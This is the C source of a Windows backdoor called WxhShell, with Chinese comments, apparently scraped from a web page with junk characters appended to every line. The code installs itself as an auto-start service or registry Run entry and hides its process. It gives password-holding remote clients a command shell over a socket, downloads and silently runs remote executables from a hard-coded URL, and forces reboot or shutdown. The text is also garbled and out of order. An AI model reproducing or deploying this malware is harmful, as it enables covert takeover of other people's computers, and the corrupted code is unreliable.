    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2=/-,kOL_  
    else { :2K@{~8r  
    closesocket(wsh); [FLR&=.(  
    ExitThread(0); [c;#>UQMf  
    } %"eR0Lj+zq  
    break; 3&nN;4~Zx6  
    } =E<H_cUS  
  // 获取shell iaLZ|\`3a  
  case 's': { 9\c]I0)3p  
    CmdShell(wsh); 2`TV(U@  
    closesocket(wsh);  uxB`  
    ExitThread(0); *0to,$ n  
    break; gu+zfvkcY  
  } {_/o' 6  
  // 退出 -J8Hsqf@  
  case 'x': { @Z2np{X:  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); WTJ{M$  
    CloseIt(wsh); ml<tH2Qx3C  
    break; uYWD.]X;[  
    } Q;g7<w17  
  // 离开 &K{8- t  
  case 'q': { RB4 +"QUh  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 9)NKI02M|  
    closesocket(wsh); XbB(<\0+  
    WSACleanup(); ;o9ixmT<-o  
    exit(1); X6r0+D5AvB  
    break; %1.F;-GdsW  
        } QA*<$v  
  } %^L{K[}  
  } owQ,op #  
3 h d30o  
  // 提示信息 zh*D2/ r  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &29jg_'W  
} dGn 0-l'q  
  } 6Eu(C]nC(  
3ie k >'T  
  return; e-`.Ht  
} c|;n)as9(%  
UZ2_FP  
// shell模块句柄 t`+A;%=K]  
int CmdShell(SOCKET sock) ;=jF9mV.  
{ tVEe)QX  
STARTUPINFO si; <Q\KS  
ZeroMemory(&si,sizeof(si)); %DYh<U4N  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; gS5MoW1  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; gTXpaB<  
PROCESS_INFORMATION ProcessInfo; 9<.O=-1~  
char cmdline[]="cmd"; 45 sEhs[$  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); .R)P |@z L  
  return 0; |HD>m'e  
} YM:sLeQ~c  
r)pt(*KHo  
// 自身启动模式 jez0 A  
int StartFromService(void) )>:~XA|?  
{ 95z|}16UK  
typedef struct >5Yn`Fc5  
{ u9OY Jo  
  DWORD ExitStatus; Y b3ckktY  
  DWORD PebBaseAddress; J W@6m  
  DWORD AffinityMask; z&amYwQcI  
  DWORD BasePriority; ['=O>YY  
  ULONG UniqueProcessId; AAlc %d/9  
  ULONG InheritedFromUniqueProcessId; < -`.u`  
}   PROCESS_BASIC_INFORMATION; .i RKuBM/  
$L/`nd  
PROCNTQSIP NtQueryInformationProcess; ula-o)S  
? #K|l*  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; }9fa]D-a?  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; t-\+t<;  
Ln+l'&_nb  
  HANDLE             hProcess; B~Sj#(WEa  
  PROCESS_BASIC_INFORMATION pbi; &.)=>2  
%8'8XDq^8  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ":!$Jnj,  
  if(NULL == hInst ) return 0; m^A2 8X7  
'/d51  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 2dn^K3  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); S$mv(C  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); E>~R P^?Uz  
Xaq;d'  
  if (!NtQueryInformationProcess) return 0; 1 .3#PdMR,  
)x.%PUA  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); eM7@!CdA9q  
  if(!hProcess) return 0; G)vNMl  
5]O{tSj  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; u`|%qRt  
"#C2+SKM1  
  CloseHandle(hProcess); o\8?CNm1(  
(Yewd/T  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); /A9RmTb  
if(hProcess==NULL) return 0; v,")XPY  
vr;`h/  
HMODULE hMod; 7I3_$uF  
char procName[255]; |))NjM'ZBl  
unsigned long cbNeeded; *'((_ NZ>  
GxdAOiq;  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 3=enk0$  
0? {ADQz  
  CloseHandle(hProcess); 3)G~ud  
'| i?-(f)  
if(strstr(procName,"services")) return 1; // 以服务启动 $zP5Hzx  
H07\z1?.K  
  return 0; // 注册表启动 o[>d"Kp  
} #/>TuJc  
jOGdq;|  
// 主模块 %IsodtkDu  
int StartWxhshell(LPSTR lpCmdLine) .`Rt   
{ !q\8`ss  
  SOCKET wsl; 5` ^@k<  
BOOL val=TRUE; ,AnD%#o  
  int port=0; wI@87&  
  struct sockaddr_in door; 6n]+(=  
t/;2rIx>  
  if(wscfg.ws_autoins) Install(); B=0^Rysg  
5/"$ _7"{a  
port=atoi(lpCmdLine); y[m,t}gi  
I}PI  
if(port<=0) port=wscfg.ws_port; <r}wQ\F#  
;e?M;-  
  WSADATA data; b~aM=71  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; of B:7  
9xR5Jm>k  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   :a}](Wn  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); zsp%Cz7T  
  door.sin_family = AF_INET; hl1IG !  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Vuz.b.,i`  
  door.sin_port = htons(port); !Gmnck&+  
h%/BZC^L]|  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Tz1^"tx9  
closesocket(wsl); v]k-x n|$j  
return 1; :8`A  
} @:>]jp}uq  
JI>Y?1i0O  
  if(listen(wsl,2) == INVALID_SOCKET) { SA TX_  
closesocket(wsl); `;85Mo:qJ  
return 1; Ll]5u~  
} *qzdt^[ xo  
  Wxhshell(wsl); 'D21A8*N  
  WSACleanup(); |Y uf/G%/  
n{gEIUo#  
return 0; @1*^ttC  
ji?Hw  
} )Q1>j 2 &  
7(84j5zb  
// 以NT服务方式启动 EJn]C=_(  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 8 W  
{ t 'eaR-  
DWORD   status = 0; :-RB< Lj  
  DWORD   specificError = 0xfffffff; CV0id&Nv  
Kn^+kHh:  
  serviceStatus.dwServiceType     = SERVICE_WIN32; *^-AOSVt,  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; @_do<'a  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; xX&B&"]5  
  serviceStatus.dwWin32ExitCode     = 0; 1ui)Hv=h*  
  serviceStatus.dwServiceSpecificExitCode = 0; d]0:r]e  
  serviceStatus.dwCheckPoint       = 0; JvO1tA]ij  
  serviceStatus.dwWaitHint       = 0; T]\1gs41  
4kL6aSqT  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); $M}"u [Qq  
  if (hServiceStatusHandle==0) return; ,[;O'g?,g  
:|bL2T@>[  
status = GetLastError(); 0z/*JVka  
  if (status!=NO_ERROR) E ASnh   
{ 9Jwd*gevV  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 4v_Ac;2m&  
    serviceStatus.dwCheckPoint       = 0;  }#m9Q[  
    serviceStatus.dwWaitHint       = 0; RiTL(Yx  
    serviceStatus.dwWin32ExitCode     = status; )^(gwE  
    serviceStatus.dwServiceSpecificExitCode = specificError; t oA}0MI(:  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); :A8r{`R'N  
    return; [K A^+n  
  } as@8L|i*  
~|"Vl<9  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; tl_3 %$s  
  serviceStatus.dwCheckPoint       = 0; X(tx8~z  
  serviceStatus.dwWaitHint       = 0; Ts.2\-+3  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 7L #)yY  
} 5M=U*BI  
#]dm/WzY  
// 处理NT服务事件,比如:启动、停止 p<r^{y  
VOID WINAPI NTServiceHandler(DWORD fdwControl) qU#A,%kcV  
{ $6n J+  
switch(fdwControl) wS=vm}}u  
{ 48 -j  
case SERVICE_CONTROL_STOP: !/,oQoG  
  serviceStatus.dwWin32ExitCode = 0; :|(YlNUv  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Bv7FZK3  
  serviceStatus.dwCheckPoint   = 0; WD%(RC"Q  
  serviceStatus.dwWaitHint     = 0; ku,{NY f^Y  
  { 8)S)!2_h  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); z6w'XA1_+t  
  } ~B[e*| d  
  return; -;gQy[U  
case SERVICE_CONTROL_PAUSE: hj1;f<' U  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; d*tWFr|J-  
  break; Il&F C  
case SERVICE_CONTROL_CONTINUE: n>)aw4  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; _jX,1+M  
  break; VKPEoy8H  
case SERVICE_CONTROL_INTERROGATE: C rR/  
  break; 6-\Mf:%B  
}; 'TYO-'aC  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2Rw<0.i|  
} B!mHO*g  
<6;M\:Y*T  
// 标准应用程序主函数 *m]Y6  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) +7%?p"gEY\  
{ Y*@7/2,  
N?m)u,6-l  
// 获取操作系统版本 f&$Bjq  
OsIsNt=GetOsVer(); W^09tx/I  
GetModuleFileName(NULL,ExeFile,MAX_PATH); [NE!  
4Yvz-aSyO  
  // 从命令行安装 q+[ )i6!?  
  if(strpbrk(lpCmdLine,"iI")) Install(); "<|KR{/+  
Vsi:O7|+ }  
  // 下载执行文件 =p@2[Uo  
if(wscfg.ws_downexe) { GI{EP&C  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ~Q=;L>Qd  
  WinExec(wscfg.ws_filenam,SW_HIDE); *Z"cXg^ti  
} #CLjQJ  
~ ?nn(Q-  
if(!OsIsNt) { ->pU!f)\X  
// 如果时win9x,隐藏进程并且设置为注册表启动 f-#:3k*7S  
HideProc(); D)G oWt  
StartWxhshell(lpCmdLine); Oa:C'M b  
} f~l pa7  
else xpp nBnu$7  
  if(StartFromService()) >A{e,&  
  // 以服务方式启动 KPy)%i  
  StartServiceCtrlDispatcher(DispatchTable); L[44D6Vg  
else &p#PYs|H  
  // 普通方式启动 >]_6|Wfl  
  StartWxhshell(lpCmdLine); ri-&3%%z<  
rZ,3:x-:  
return 0; j+'ua=T3  
} v1i-O'  
=~D[M)UO|  
\x$`/  
v9J1Hha#  
=========================================== -`ljKp  
YL`MLt4MC  
hwk] ;6[  
U}HSL5v  
fph+ 05.%  
prM)t8SE  
" 5X3JQ"z  
V*JqC  
#include <stdio.h> [ {"x{;  
#include <string.h> ({Yfsf,  
#include <windows.h> 3R$R?^G  
#include <winsock2.h> noaR3)  
#include <winsvc.h> @Wd (>*"zw  
#include <urlmon.h> _Cf:\Xs m  
$C=XSuPNK  
#pragma comment (lib, "Ws2_32.lib") 1r4NP  
#pragma comment (lib, "urlmon.lib") C&@'oLr  
dVq9'{[3  
#define MAX_USER   100 // 最大客户端连接数 3,Z;J5VL4!  
#define BUF_SOCK   200 // sock buffer >&>EjK4?  
#define KEY_BUFF   255 // 输入 buffer oGZuYpa9  
x]Nx,tt  
#define REBOOT     0   // 重启 {8":c n j  
#define SHUTDOWN   1   // 关机 "Cvr("'O  
hG`@#9|f  
#define DEF_PORT   5000 // 监听端口 Q7`)&^ Hx  
F~fN7<9R  
#define REG_LEN     16   // 注册表键长度 V@RdvQy  
#define SVC_LEN     80   // NT服务名长度 F@z%y'5 Z*  
D\ZH1C!d  
// 从dll定义API |61ns6i!  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); l`6.(6  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 2 N(Z^  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); hX,RuI  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Qru&lAYc<  
ORqqzy +  
// wxhshell配置信息 ]) v61B  
struct WSCFG { *>2FcoN;  
  int ws_port;         // 监听端口 Y1AZ%{^0a  
  char ws_passstr[REG_LEN]; // 口令 v}5YUM0H`  
  int ws_autoins;       // 安装标记, 1=yes 0=no 7r3CO<fb  
  char ws_regname[REG_LEN]; // 注册表键名 @ZYJY  
  char ws_svcname[REG_LEN]; // 服务名 E>#@ H  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 .`u8(S+  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 [Djx@x  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 B4zuWCE@  
int ws_downexe;       // 下载执行标记, 1=yes 0=no V2;Nv\J\  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" W7.RA>  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 +|<bb8%  
KqBiF]Q  
}; EKw)\T1  
8"LM:0x  
// default Wxhshell configuration .;U?%t_7  
struct WSCFG wscfg={DEF_PORT, Jp8,s%  
    "xuhuanlingzhe", TR `C|TV>  
    1, iYdg1  
    "Wxhshell", "NEKz  
    "Wxhshell", EronNtu8i  
            "WxhShell Service", vy7?]}MvV  
    "Wrsky Windows CmdShell Service", 1n*"C!q  
    "Please Input Your Password: ", 1Qjc*+JzO.  
  1, eH*i_g'  
  "http://www.wrsky.com/wxhshell.exe", *.A-UoHa  
  "Wxhshell.exe" 23+JuXC6>  
    }; <)J@7@!P  
>$3 =yw%  
// 消息定义模块 \O~WMN  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ojJu a c4  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 3c:fYE  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; >h9~ /  
char *msg_ws_ext="\n\rExit."; VVuNU"-  
char *msg_ws_end="\n\rQuit."; sUk n.g!  
char *msg_ws_boot="\n\rReboot..."; l4I',79l  
char *msg_ws_poff="\n\rShutdown..."; 'Vhnio;qC  
char *msg_ws_down="\n\rSave to "; c*(=Glzn  
!QqVJ a{j  
char *msg_ws_err="\n\rErr!"; gA 5DEit  
char *msg_ws_ok="\n\rOK!"; E1A5<^t  
G!D~*B9 G  
char ExeFile[MAX_PATH]; dry%aT  
int nUser = 0; :4\_upRE  
HANDLE handles[MAX_USER]; ZY6%%7?1  
int OsIsNt; _jVJkg)]  
a6d|Ps.\!  
SERVICE_STATUS       serviceStatus; ZxDh! _[s  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; (f* r  
t?;=\%^<  
// 函数声明 kWbY&]ZO  
int Install(void); u)D!RhV&  
int Uninstall(void); y7z ,I  
int DownloadFile(char *sURL, SOCKET wsh); Z#GR)jb+  
int Boot(int flag); i-sm9K'ns  
void HideProc(void); X`]>J5  
int GetOsVer(void); Wx8 cK=  
int Wxhshell(SOCKET wsl); |c2;`T#`o  
void TalkWithClient(void *cs); V* ,u;*  
int CmdShell(SOCKET sock); :yOJL [x  
int StartFromService(void); 5YiBPB")  
int StartWxhshell(LPSTR lpCmdLine); G<~P||Lu^  
Tz/[P:O3  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); DH4|lb}  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); (8GA;:G7G  
g^k=z:n3,  
// 数据结构和表定义 mZ#IP  
SERVICE_TABLE_ENTRY DispatchTable[] = ~A>-tn}O  
{ .zdmUS :  
{wscfg.ws_svcname, NTServiceMain}, 2AjP2  
{NULL, NULL} 42 rIIJ1A  
}; p?+;[!:  
u$1^=  
// 自我安装 PW-sF  
int Install(void) RgVg~?A@  
{ ,,V uvn  
  char svExeFile[MAX_PATH]; %U&ztvR0C  
  HKEY key; TfA;4 ^  
  strcpy(svExeFile,ExeFile); V8z*mnD  
'i8?]` T  
// 如果是win9x系统,修改注册表设为自启动 |Fzt| \  
if(!OsIsNt) { 2ZQ|nwb7  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {  d|$-Sz  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /_/Z/D!  
  RegCloseKey(key); + hMF\@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { bKPjxN?!9  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); j!?bE3r~  
  RegCloseKey(key); ] iiB|xT  
  return 0; M_F4I$V4  
    } >  ,P,{"  
  } C3 (PI,,  
} X#u< 3<P  
else { 7Y*Q)DDy  
S >\\n^SbT  
// 如果是NT以上系统,安装为系统服务 ._}Dqg$  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); eLop}*k  
if (schSCManager!=0) Z-z(SKL  
{ 2rX}A3%9^^  
  SC_HANDLE schService = CreateService q&EwD(k  
  ( ny+_&l^R~(  
  schSCManager, ]4&B*]j  
  wscfg.ws_svcname, ut9R] 01:  
  wscfg.ws_svcdisp, %967#XI[y  
  SERVICE_ALL_ACCESS, (I(k$g[>  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , SCD;(I~4  
  SERVICE_AUTO_START, m:5bb 3  
  SERVICE_ERROR_NORMAL, b]5S9^=LI  
  svExeFile,  2dBjc{  
  NULL, ,koG*sn  
  NULL, SrSm%Dv  
  NULL, L~L]MC&  
  NULL, h>jp.%oOu  
  NULL F5f1j]c  
  ); +8V |  
  if (schService!=0) 05vu{>  
  { \b|Q`)TK  
  CloseServiceHandle(schService); 97SG;,6  
  CloseServiceHandle(schSCManager); 5%(xZ  6  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 1"HSM =p  
  strcat(svExeFile,wscfg.ws_svcname); . aqP=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ),+u>Os&  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Q##L|*Qy  
  RegCloseKey(key); >R8eAR$N  
  return 0; E 5bo60z  
    } p4{3H+y  
  } 6dX l ny1H  
  CloseServiceHandle(schSCManager); 4\EvJg@Z.  
} I~I$/j]e`  
} h\$juIQa  
t>>\U X  
return 1; ;X2(G  
} VNLggeX'U  
V{G9E  
// 自我卸载 =D~RIt/D  
int Uninstall(void) t#[u X?  
{ j{a3AEmps  
  HKEY key; 0NWtu]9QC  
E$8 4c+  
if(!OsIsNt) { 4$!iw3N(  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { (KxL*gB  
  RegDeleteValue(key,wscfg.ws_regname); PNMf5'@m  
  RegCloseKey(key); y:+s*x6Vg  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { O6pL )6d  
  RegDeleteValue(key,wscfg.ws_regname); uua1_# a  
  RegCloseKey(key); S4Vv _k-&  
  return 0; )vFZl]  
  } p;rG aLo:u  
} U)N_/  
} )pXw 3Fo  
else { s GP}>w-JZ  
_}B:SM  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); j\SW~}d9  
if (schSCManager!=0) !*gTC1bvB  
{ &`'gO 9  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); wB;'+d&  
  if (schService!=0) S qQqG3F  
  { o[!g,Gmoh  
  if(DeleteService(schService)!=0) { lAwOp  
  CloseServiceHandle(schService); '.wyfSH@  
  CloseServiceHandle(schSCManager); emV@kN.  
  return 0; E@_M|=p&  
  } &n:F])`2  
  CloseServiceHandle(schService); t*)-p:29h  
  } GBZx@B[TY  
  CloseServiceHandle(schSCManager); !Fz9\|  
} }hFjl4`xa  
} .#;;pu7W  
Tdr^~dcQ  
return 1; RkJ\?  
} ~qiSkG  
-hP@L ++D  
// 从指定url下载文件 p5~;8Q7  
int DownloadFile(char *sURL, SOCKET wsh) j]"Yz t~u  
{ s.rS06x  
  HRESULT hr; X!n-nms  
char seps[]= "/"; Qko}rd_M  
char *token; 'Z7oPq6  
char *file; sDCa&"6+@  
char myURL[MAX_PATH]; nYuZg6K  
char myFILE[MAX_PATH]; VYhZ0;' '  
w<awCp  
strcpy(myURL,sURL); A;h0BQm/j  
  token=strtok(myURL,seps); P$@5&/]  
  while(token!=NULL) :f^O!^N  
  { jo<[|ZD  
    file=token; x-U^U.i@  
  token=strtok(NULL,seps); C>@~W(IE  
  } ag?@5q3J}  
@}x)>tqD  
GetCurrentDirectory(MAX_PATH,myFILE); $RKd@5XP  
strcat(myFILE, "\\"); KL0u:I(lWU  
strcat(myFILE, file); OR( )D~:n  
  send(wsh,myFILE,strlen(myFILE),0); .$4DK*  
send(wsh,"...",3,0); '8k\a{t_z  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); dp2".  
  if(hr==S_OK) t_,iV9NrZ  
return 0; pp#Kb 2*  
else $&k2m^R<  
return 1; 0'|#Hi7@  
J(M0t~RZ  
} *D,+v!wG9  
rEdr8qw  
// 系统电源模块 c.,:r X0S  
int Boot(int flag) 0c7&J?"wE  
{ Iu(T@",Q#  
  HANDLE hToken; D Z ~|yH  
  TOKEN_PRIVILEGES tkp; q&Q* gEFK  
R`ZU'|  
  if(OsIsNt) { aiw~4ix  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); VuJth  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); tJ.LPgfZ  
    tkp.PrivilegeCount = 1; Y: KB"H  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; lbT<HWzNH  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ;b cy(Fp,\  
if(flag==REBOOT) { U`<EpO{j|  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) k%:]PQjYT  
  return 0; _ZzPy;[i?  
} tI{ n!  
else { A0O$B7ylQ  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) |mk$W$h  
  return 0; Wz:MPdz3(  
} @/anJrt  
  } StP6G ]x  
  else { "@GopD  
if(flag==REBOOT) { : [aUpX=  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) v]U[7 j  
  return 0; ;n7k_K#0z!  
} #dW$"u   
else { dWD9YIYf  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) qdZn9i  
  return 0; V}pw ,2s  
} XuR!9x^5  
} B{s[SZ  
rI; e!EW  
return 1; MV9{>xX  
} 'n!;7*  
0 "pm7  
// win9x进程隐藏模块 WF*2^iWJ  
void HideProc(void)  A{5 k}  
{ oc\rQ?  
_jU6[y|XLh  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); D\j1`  
  if ( hKernel != NULL ) jh\q2E~,`  
  { Ik;~u8j1e  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); rm3 ~]  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); )]>=Uo  
    FreeLibrary(hKernel); v[m/>l2[P  
  } K.l?R#G`,F  
1K^/@^  
return; 1/a*8vuGh  
} #MGZje,I  
tEiN(KA!5  
// 获取操作系统版本 &z1r$X.AW  
int GetOsVer(void) <Er|s^C  
{ `'Z ;+h]  
  OSVERSIONINFO winfo; 5IdmKP|  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); uO7Ti]H  
  GetVersionEx(&winfo);  9l{r&]  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 7OC ,KgJ3  
  return 1; _e~EQ[,  
  else n2(~r 'r)  
  return 0; aWe H,A%  
} 2!]':(8mR  
tTWYlbDFN  
// 客户端句柄模块 Gtg; 6&2  
int Wxhshell(SOCKET wsl) Q*mPU=<  
{ + ` Em&  
  SOCKET wsh; ,p$1n;  
  struct sockaddr_in client; ^>9M2O['!s  
  DWORD myID; x:sTE u@  
;zSh9H  
  while(nUser<MAX_USER) <FGNV+?%e  
{ _4%+TN6z  
  int nSize=sizeof(client); ] MUuz'<  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); BszkQ>#6  
  if(wsh==INVALID_SOCKET) return 1; 6wnfAli.  
g ~10K^  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); G9Xrwk<g4  
if(handles[nUser]==0) _5.7HEw>/  
  closesocket(wsh); i/)Uj-*G)  
else J tYnBg?[E  
  nUser++; ajkRL|^  
  } p(U' c}@2  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); lv$tp,+  
T:na\y/{j  
  return 0; HlI*an  
} bh uA,}  
9O@ eJ$  
// 关闭 socket 0%'&s)#  
void CloseIt(SOCKET wsh) 7z F29gC  
{ 6AZ/whn#  
closesocket(wsh); 6\b B#a  
nUser--; )ALf!E%{  
ExitThread(0); .D)'ZY  
} Ej6vGC.,  
kS=OX5  
// 客户端请求句柄 ">CjnF2>R  
void TalkWithClient(void *cs) /pX\)wi  
{ F S1<f:  
Bv!j.$0d{  
  SOCKET wsh=(SOCKET)cs; ;t"#7\  
  char pwd[SVC_LEN]; 9{xP~0g  
  char cmd[KEY_BUFF]; R:i7Rb2C  
char chr[1]; HAN#_B1.  
int i,j; \t^q@}~0Wz  
#Du1(R  
  while (nUser < MAX_USER) { mv<z%y?Oj  
hof ZpM  
if(wscfg.ws_passstr) { obaJT"1  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); }2V|B4  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); oACuI|b  
  //ZeroMemory(pwd,KEY_BUFF); dO rgqz`e  
      i=0; V:My1R0  
  while(i<SVC_LEN) { 0I~xD9l9  
Qmzj1e$6x  
  // 设置超时 ~~:i+-[  
  fd_set FdRead; 7(Y!w8q&^  
  struct timeval TimeOut; 3H@TvV/;f  
  FD_ZERO(&FdRead); X#gZgz ='  
  FD_SET(wsh,&FdRead); UiaY0 .D  
  TimeOut.tv_sec=8; |2{y'?,  
  TimeOut.tv_usec=0; f}  eZX  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); :m^eNS6:  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); & UL(r  
im4V6 f;%  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); rK}*Uwut  
  pwd=chr[0]; Dr,{V6^  
  if(chr[0]==0xd || chr[0]==0xa) { lj'c0k8  
  pwd=0; (lS&P"Xi  
  break; J3y5R1?EP  
  } cz&Qoyh{;  
  i++; "%-HZw%X  
    } &Q(Q/]U~  
@j5W4HU  
  // 如果是非法用户,关闭 socket tezsoR!.ak  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 7PHvsd"]p  
} GT<Y]Dk  
%HwPOEJ  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0);  4\dc  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); I_'vVbK+>  
%+Mi~k*A'  
while(1) { +%$!sp?  
!$qNugLg  
  ZeroMemory(cmd,KEY_BUFF); "xdXHuX  
s|%mGt &L  
      // 自动支持客户端 telnet标准   >umcpkp- h  
  j=0; X.%Xi'H  
  while(j<KEY_BUFF) { j#3}nJB%#i  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); >bEH&7+@_'  
  cmd[j]=chr[0]; <P(d%XEl  
  if(chr[0]==0xa || chr[0]==0xd) { =p N?h<dc  
  cmd[j]=0; dkLc"$( O  
  break; b4S7 Q"g  
  } +, p  
  j++; % 7/XZQ  
    } gB71~A{J  
S-Ryt>G  
  // 下载文件 `-qSvjX  
  if(strstr(cmd,"http://")) { ,BOB &u  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); DUM,dFIlvF  
  if(DownloadFile(cmd,wsh)) r/Qq-1E  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); #xm<|s   
  else "|.>pD#0&  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); m:/nw,  
  } UI_|VU>J  
